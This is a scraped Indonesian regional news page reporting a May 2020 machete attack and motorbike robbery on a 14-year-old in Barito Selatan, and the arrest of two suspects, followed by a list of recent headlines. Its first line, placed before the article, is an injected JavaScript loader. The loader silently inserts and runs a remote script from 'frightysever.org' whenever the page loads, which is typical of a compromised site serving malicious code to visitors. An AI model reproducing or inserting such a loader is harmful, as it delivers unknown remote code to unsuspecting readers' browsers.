(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Dalih Minta Antar Beli Tuak, Pelaku Curas Tebaskan Parang dan Rampas Motor Korban


KANALKALIMANTAN.COM, BUNTOK– Polsek Dusun Selatan (Dusel) dibantu Tim CRT Garuda Res Barsel Kabupaten Barsel yang dibeck-up Polsek Pematang Karau dan Polsek Dusteng Kabupaten Bartim, berhasil mengamankan tidak pidana pencurian dengan kekerasan (Curas), pada Kamis (21/5/2020).

Kapolres Barsel AKBP Devy Firmansyah melalui Kapolsek Dusel Ipda Ahmad Wira Wisudawan mengatakan, berhasil mengamankan TM (22) warga Desa Kupang Bersih, dan AR (43) warga Desa Bararawa, Barito Timur (Bartim). Keduanya ditangkap tas dugaan pencurian dengan kekerasan (curas).

“Jadi pagi tadi dibantu dengan beberapa tim kita berhasil mengamankan TM dan AR atas dugaan curas di wilayah Barsel,” kata Wira kepada Kanalkalimantan.com, di Buntok Kamis (21/5/2020).

Ia mengungkapkan, Rabu (20/5/2020) sekitar jam 20.00 WIB, DB (14) yang menjad korban dalam peristiwa ini mau pulang ke rumahnya di Desa Pararapak. Sesampai di jembatan Desa Kalahien, tiba-tiba korban diberhentikan dua laki-laki. Mereka beralasan menanyakan tempat orang jual tuak.

“Jadi korban diberhentikan 2 orang tersangka di jembatan Kalahien saat ingin pulang dengan dalih menanyakan dimana tempat orang menjual minuman jenis tuak,” beber Wira.

Masih kata Kapolsek Dusel, bermodus minta antarkan membeli minuman dengan pelaku AR menunggu di Jembatan Kalahien. Setelah membeli minuman, TM kembali minta antar korban mengantar senjata tajam (sajam) ke rumah istrinya.
Di tengah jalan, pelaku minta berhenti dengan alasan mau kencing. Saat korban lengah TM langsung menebaskan parang ke arah korban dan mengenai punggung yang mengakibatkan memar, saat ingin menebaskan senjatanya ke dua kali korban langsung kabur ke arah rumah masyarakat untuk minta pertolongan dan meninggalkan motornya yang langsung dibawa kabur pelaku.

“Jadi dengan dalih minta antarkan ke rumah istri di tengah jalan, pelaku minta berhenti alasan kencing dan langsung menggencarkan aksinya dengan menebaskan senjatanya ke arah korban. Beruntung korban sempat melarikan diri ke rumah masyarakat sekitar meminta pertolongan walau harus kehilangan motor yang langsung dibawa kabur oleh ke dua pelaku,” jelas Wira.

Lewat laporan dari korban, polisi langsung bergerak mencari pelaku dipimpin Kapolsek Dusel. Tak butuh waktu lama, pelaku dengan inisial TM diamankan di desa Batu Putih Kecamatan Dusteng Kabupaten Bartim.

Penangkapan TM merupakan hasil pengembangan dari pelaku AR. Pada saat dilakukan intrograsi aksi kedua pelaku tersebut sebelumnya sudah direncanakan. Mereka diamankan beserta barang bukti berupa senjata tajam.

“Jadi pada setelah dapatkan laporan kita langsung bergerak dengan di bantu anggota dari Polsek Kabupaten Bartim dan berhasil mengamankan TM di Desa Batu Putih hasil pengembangan dari sebelumnya berhasil mengamankan AR dan kini para pelaku menjalani pemeriksaan lebih lanjut,” pungkas Wira.(kanalkalimantan.com/digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

5 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

6 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

7 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

12 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

15 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

15 jam ago